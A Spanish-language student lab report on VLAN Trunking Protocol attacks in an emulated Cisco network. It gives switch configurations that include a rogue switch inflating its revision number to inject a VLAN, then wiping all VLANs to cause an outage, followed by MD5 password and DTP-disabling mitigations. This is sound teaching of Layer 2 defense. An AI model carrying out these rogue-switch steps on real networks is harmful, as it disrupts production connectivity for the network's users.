



Instituto Tecnológico de las Américas (ITLA)

Estudiante:

Erick Javier Zapata Alcantara

Matricula: 2021-2166

Asignatura:

Seguridad de Redes

Docente:

Jonathan Esteban Rondon Corniel

Santo Domingo, República Dominicana

09 junio del 2026

Asignación:

Tarea Semana 4 - VTP Ataque

Informe Técnico:

ATAQUES VTP Y MITIGACIÓN EN CAPA 2

Introducción y contexto tecnológico	3
ETAPA 1: DISEÑO DE LA INFRAESTRUCTURA DE RED (PNETLAB).....	5
ETAPA 2: CONFIGURACIÓN BASE DE LOS SWITCHES LEGÍTIMOS.....	5
2.1. Configuración del Switch Servidor VTP (SW-1).....	5
2.2. Configuración del Switch Cliente VTP (SW-2).....	6
2.3. Limpieza de Base de Datos Original (Purga previa al ataque).....	7
ETAPA 3: SIMULACIÓN DE ESCENARIOS DE ATAQUE (VTP EXPLOITATION)	7
3.1. Configuración e Inflado de Revisión en Switch Malicioso (SW-Atacante)	7
3.2. Comandos de Verificación del Estado de Ataque 1 (Inyección de VLAN).....	8
3.3. Ataque 2: Denegación de Servicio Masiva (Borrado de VLANs)	8
ETAPA 4: IMPLEMENTACIÓN DE MITIGACIÓN Y HARDENING DE CAPA 2	8
4.1. Implementación de Autenticación Criptográfica MD5.....	9
4.2. Desactivación Total de DTP (Dynamic Trunking Protocol).....	9
4.3. Comandos de Validación Final.....	9
RECURSOS Y ENLACES DEL LABORATORIO.....	10

ATAQUES VTP



Introducción y contexto tecnológico

El presente laboratorio práctico se desarrolla sobre la plataforma de emulación PNETLab v4.2, utilizando imágenes de red Cisco IOL (IOS on Linux) para simular un entorno corporativo de alta fidelidad bajo el direccionamiento IP 202.121.66.0/24. El núcleo del estudio se centra en el protocolo VTP (VLAN Trunking Protocol) versión 2, una herramienta de Capa 2 diseñada para centralizar la administración de la base de datos de VLANs a lo largo de una topología conmutada. A pesar de sus ventajas operativas en términos de escalabilidad, VTP carece de mecanismos nativos de validación de identidad en su configuración por defecto, operando bajo un principio de confianza ciega basado en el contador transaccional conocido como Configuration Revision Number. Este escenario expone a la infraestructura a vectores de ataque críticos, tales como la inyección maliciosa de segmentos lógicos y la denegación de servicio (DoS) por purga completa de la base de datos de VLANs. Mediante este despliegue, se analizan los efectos destructivos de estos exploits y se valida la implementación de directivas de defensa esenciales (Layer 2 Hardening), incluyendo la autenticación criptográfica hash MD5 y la desactivación del protocolo de negociación dinámica DTP (Dynamic Trunking Protocol).

ETAPA 1: DISEÑO DE LA INFRAESTRUCTURA DE RED (PNETLAB)

Para segmentar el direccionamiento entregado (202.121.66.0/24), se dividió el bloque principal en subredes /26 utilizando una máscara de subred de longitud variable (VLSM) de 255.255.255.192, garantizando así un esquema seguro para los vectores de administración e interconexión de terminales corporativos:

Subred / VLAN	Propósito	Rango de IPs Útiles	Dirección IP Asignada
VLAN 1	Administración Switches	202.121.66.1 - 202.121.66.62	SW-1: .11 / SW-2: .12
VLAN 10	Departamento Ventas	202.121.66.65 - 202.121.66.126	Asignación Dinámica
VLAN 20	Departamento Contabilidad	202.121.66.129 - 202.121.66.190	Asignación Dinámica

ETAPA 2: CONFIGURACIÓN BASE DE LOS SWITCHES LEGÍTIMOS

2.1. Configuración del Switch Servidor VTP (SW-1)

Este switch actúa como la raíz central del dominio y es el único dispositivo autorizado para crear, modificar o eliminar segmentos lógicos. Su configuración establece el dominio común, el modo

operativo maestro y levanta el enlace troncal principal para propagar las tramas publicitarias hacia el resto de la topología.

```
enable
configure terminal

hostname SW-1

vtp domain ITLA-NET
vtp mode server
vtp version 2

interface vlan 1
ip address 202.121.66.11 255.255.255.192
no shutdown
exit

interface ethernet 0/0
description => Enlace Troncal hacia SW-2 <=
switchport trunk encapsulation dot1q
switchport mode trunk
no shutdown
exit
```

2.2. Configuración del Switch Cliente VTP (SW-2)

El switch subordinado se define en modo cliente para heredar automáticamente la base de datos de VLANs generada por el servidor, bloqueando la creación local de segmentos.

Adicionalmente, se configuran las interfaces correspondientes en modo troncal para recibir las actualizaciones y dar continuidad operativa a la interconexión.

```
enable
configure terminal

hostname SW-2

vtp domain ITLA-NET
vtp mode client
vtp version 2

interface vlan 1
ip address 202.121.66.12 255.255.255.192
no shutdown
exit
```

```
interface range ethernet 0/0 - 1
 switchport trunk encapsulation dot1q
 switchport mode trunk
 no shutdown
 exit
```

2.3. Limpieza de Base de Datos Original (Purga previa al ataque)

Previo al despliegue del escenario de explotación, se ejecuta una limpieza manual de la base de datos lógicas en el servidor corporativo. Esta acción remueve los segmentos previos para asegurar que el entorno de simulación inicie desde un estado neutral y controlar con exactitud las variables de sincronización.

```
SW-1# configure terminal
SW-1(config)# no vlan 10
SW-1(config)# no vlan 20
SW-1(config)# exit
```

ETAPA 3: SIMULACIÓN DE ESCENARIOS DE ATAQUE (VTP EXPLOITATION)

3.1. Configuración e Inflado de Revisión en Switch Malicioso (SW-Atacante)

El atacante inicializa un switch externo bajo el mismo nombre de dominio, operando en modo servidor de manera aislada. Mediante la creación y eliminación repetitiva de redes lógicas ficticias, eleva artificialmente el número de revisión (Configuration Revision Number) antes de forzar su puerto físico como un enlace troncal activo hacia la red interna.

```
enable
configure terminal

hostname SW-Atacante
vtp domain ITLA-NET
vtp mode server
vtp version 2

vlan 666
name VLAN-Maliciosa
exit

vlan 900
exit
```

```
no vlan 900
vlan 901
exit
no vlan 901
vlan 902
exit
no vlan 902

interface ethernet 0/0
description => Enlace de Ataque hacia SW-2 <=
switchport trunk encapsulation dot1q
switchport mode trunk
no shutdown
exit
```

3.2. Comandos de Verificación del Estado de Ataque 1 (Inyección de VLAN)

Tras acoplar físicamente el equipo malicioso en PNETLab, se ejecutan rutinas de diagnóstico en los switches legítimos. Estos comandos permiten auditar el estado global de la topología para confirmar que el switch cliente aceptó la base de datos externa debido a su número de revisión fraudulento y superior.

```
SW-2# show vtp status
SW-2# show vlan brief
```

3.3. Ataque 2: Denegación de Servicio Masiva (Borrado de VLANs)

Aprovechando la relación de confianza establecida, el atacante purga de golpe todos los segmentos válidos desde su consola, incrementando nuevamente el número de revisión. Al propagarse esta trama publicitaria vacía, los switches legítimos borran sus propias VLANs de producción, dejando los puertos de los usuarios asignados a redes inexistentes y causando una desconexión general.

```
SW-Atacante# configure terminal
SW-Atacante(config)# no vlan 666
SW-Atacante(config)# vlan 999
SW-Atacante(config-vlan)# exit
SW-Atacante(config)# no vlan 999
SW-Atacante(config)# exit
```


ETAPA 4: IMPLEMENTACIÓN DE MITIGACIÓN Y HARDENING DE CAPA 2

4.1. Implementación de Autenticación Criptográfica MD5

Como primer mecanismo de defensa, se aplica una clave secreta compartida mediante hash MD5 en los switches de producción. A partir de este momento, cualquier actualización proveniente de un equipo externo que no comparta la firma criptográfica exacta es descartada de inmediato, neutralizando el inflado de revisión.

```
! En SW-1:
SW-1(config)# vtp password ClaveUltraSeguraITLA

! En SW-2:
SW-2(config)# vtp password ClaveUltraSeguraITLA
```

4.2. Desactivación Total de DTP (Dynamic Trunking Protocol)

Para blindar perimetralmente las conexiones destinadas a usuarios finales, se configura la interfaz de acceso de forma estática y se deshabilita explícitamente el protocolo de negociación dinámica de enlaces troncales. Esto impide de raíz que un intruso intente levantar un trunking simplemente conectando un switch malicioso.

```
SW-2(config)# interface ethernet 0/1
SW-2(config-if)# description => Puerto de Acceso Asegurado - Solo Usuarios <=
SW-2(config-if)# switchport mode access
SW-2(config-if)# switchport access vlan 1
SW-2(config-if)# switchport nonegotiate
SW-2(config-if)# end
```

4.3. Comandos de Validación Final

Finalmente, se ejecutan las herramientas de monitoreo en caliente para corroborar la efectividad de las políticas de hardening aplicadas. Se constata la alteración del resumen MD5 global y se inspecciona la tabla de interfaces troncales para asegurar que el puerto perimetral opera estrictamente en modo de acceso.

```
SW-2# show vtp status
SW-2# show interfaces trunk
```

RECURSOS Y ENLACES DEL LABORATORIO

Para complementar la revisión técnica de este laboratorio y auditar los scripts de automatización e infraestructura implementados, se han habilitado las siguientes plataformas de acceso remoto:

- **Demostración Práctica en Video (YouTube):** <https://youtu.be/TKu2VvKHu-w>

En este material audiovisual se evidencia el despliegue de la topología en PNETLab, el comportamiento de las consolas de Cisco durante los ataques de inyección y borrado de VLANs, y la posterior validación del bloqueo de paquetes tras aplicar las políticas de Hardening.

- **Repositorio Oficial del Proyecto (GitHub):** <https://github.com/ezapata1286/VTP-Attacks-Agregue-y-Borrado-de-VLANs>

Repositorio centralizado que contiene los archivos de configuración de arranque (.cfg) de los nodos IOL/VIOS de Cisco, el esquema de la topología exportada en formato XML/JSON para PNETLab y la documentación complementaria del laboratorio.